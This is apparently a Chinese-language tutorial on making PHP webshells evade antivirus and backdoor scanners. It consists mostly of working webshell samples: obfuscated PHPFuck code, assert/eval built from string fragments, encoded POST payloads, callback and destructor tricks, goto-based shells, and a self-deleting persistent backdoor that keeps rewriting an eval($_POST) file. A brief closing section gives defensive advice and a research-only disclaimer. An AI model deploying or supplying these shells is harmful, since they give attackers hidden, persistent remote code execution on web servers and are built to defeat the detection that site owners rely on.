初探webshell免杀的艺术
字数 621 2025-08-22 12:23:06
PHP Webshell免杀技术详解
一、PHP混淆加密技术
1. PHPFuck混淆
PHPFuck是一种极端的PHP混淆技术,使用极少的字符构造可执行代码:
<?php error_reporting(0);
((([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] . [])[([] ^ [[]])]) .
(([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [])]) .
(([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [])] ^ ([] . [])[([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [])]) .
(([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [])]) .
(([] ^ []) . [][[]] ^ ([] . [])[([] ^ [])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]) .
(([] ^ []) . [][[]] ^ ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) . [][[]] ^ ([] . [])[([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])] ^ ([] . [])[([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]]) + ([] ^ [[]])]));
二、字符串拼接技术
1. 基本字符串拼接
<?php
$a = implode("",['p','h','p','i','n','f','o','(',')']);
assert($a);
2. 动态函数名构造
<?php
$a = implode("",["e","v","a","l","(","$_","P","O","S","T","[","'","x","'","]",")"]);
assert($a);
三、字符串替换技术
1. substr函数
<?php
$a = substr('aa', 1) . 's' . 's' . 'e' . 'r' . 't';
$a($_POST['x']);
2. strtr函数
<?php
$a = strtr('abcdet', 'bcde', 'sser');
echo $a; // 降低检测级别
$a($_POST['x']);
3. substr_replace函数
<?php
$a = substr_replace("asaaaa", "sert", 2);
$a($_POST['x']);
四、变量覆盖技术
1. 基本变量覆盖
<?php
$x = 'a' . 's' . 's' . 'e' . 'r' . 't';
$b = '_' . 'P' . 'O' . 'S' . 'T';
$c =
$$
b;
$x($c['x']);
2. 结合替换函数
<?php
$x = substr('aa', 1) . 's' . 's' . 'e' . 'r' . 't';
$b = '_' . 'P' . 'O' . 'S' . 'T';
$c =
$$
b;
$x($c['x']);
五、参数传递技术
1. 动态参数拼接
<?php
$a = 'a';
$b = $a . $_POST["b"];
$c = $_POST["c"];
$b($c);
六、编码解码技术
1. base64编码
<?php
$x = substr('aa', 1) . 'ssert';
$a = base64_decode($_POST['x']);
$x($a);
2. rot13编码
<?php
$x = 'assert';
$a = str_rot13($_POST['x']);
$x($a);
3. 异或运算
<?php
$x = ('!' ^ '@') . 'ssert';
$a = base64_decode($_POST['x']);
$x($a);
七、回调函数利用
1. array_uintersect_assoc
<?php
array_uintersect(array($_POST['x']), array(1), 'assert');
2. call_user_func
<?php
call_user_func('assert', $_POST['x']);
3. array_map
<?php
$e = $_REQUEST['a'];
$arr = array($_POST['x'],);
array_map($e, $arr);
八、自定义函数技术
1. 多层函数封装
<?php
function out($b){ return $b; }
function ey($a){
$x = ('!' ^ '@') . 'ssert';
return $x($a);
}
function post(){
return base64_decode($_POST['x']);
}
function run(){
return out(ey(out(post())));
}
run();
2. 多种变体
<?php
function out($b){ return $b; }
function ey($a){
$x = substr('aa', 1) . 'ssert';
return $x($a);
}
function post(){
return base64_decode($_POST['x']);
}
function run(){
return out(ey(out(post())));
}
run();
九、面向对象技术
1. 类与析构函数
<?php
class B {
public function __destruct() {
$B = $_POST['x'];
array_uintersect_assoc(array($B), array(1), 'assert');
}
}
$obj = new B();
2. create_function利用
<?php
class B {
public function __destruct() {
$b = $this->name;
$a = $_POST['x'];
echo $b;
echo $a;
$a('', $b);
}
public function __construct($name) {
$this->name = $name;
echo $name;
}
}
$obj = new B($_POST['e']);
十、goto控制流技术
1. goto基本用法
<?php
goto a;
echo 'Foo';
a: echo 'Bar';
2. 结合回调函数
<?php
header("Content-Type: text/html; charset=utf-8");
ini_set('display_errors', 0);
error_reporting(E_ALL);
function safeCall($func, $param = null) {
if (is_callable($func)) {
return call_user_func($func, $param);
}
return false;
}
test4:
error_reporting(0);
goto test1;
test2:
$m = isset($_GET['m']) ? $_GET['m'] : null;
$o = isset($_GET['o']) ? $_GET['o'] : null;
if ($m === null) {
print('NO');
} else {
safeCall($m, $l);
safeCall($o);
}
goto test3;
test1:
$l = isset($_GET['x']) ? $_GET['x'] : '';
if ($l !== '') {
$l = base64_decode($l, true);
if ($l === false) {
goto error;
}
} else {
goto error;
}
goto test2;
test3:
goto test4;
error:
echo 'Error: Invalid input.';
exit;
十一、不死马技术
<?php
ignore_user_abort(true); // 忽略用户断开连接
set_time_limit(0); // 无时间限制
unlink(__FILE__); // 删除自身
$file = 'xxx.php'; // 后门文件名
$code = '<?php @eval($_POST[a]);?>'; // 恶意代码
while(1){ // 无限循环
file_put_contents($file, $code);
usleep(5000); // 微秒级延迟
}
十二、总结与防御建议
1. 免杀原理
- 后门查杀主要依赖正则表达式静态匹配
- 通过变换代码结构和执行方式绕过已有正则规则
- 核心是保持功能不变的前提下改变代码表现形式
2. 防御措施
- 使用动态分析结合静态分析
- 监控异常的文件操作和进程行为
- 限制危险函数的使用
- 实施严格的输入验证和过滤
- 定期更新安全规则和检测机制
以上技术仅用于安全研究和防御技术研究,请勿用于非法用途。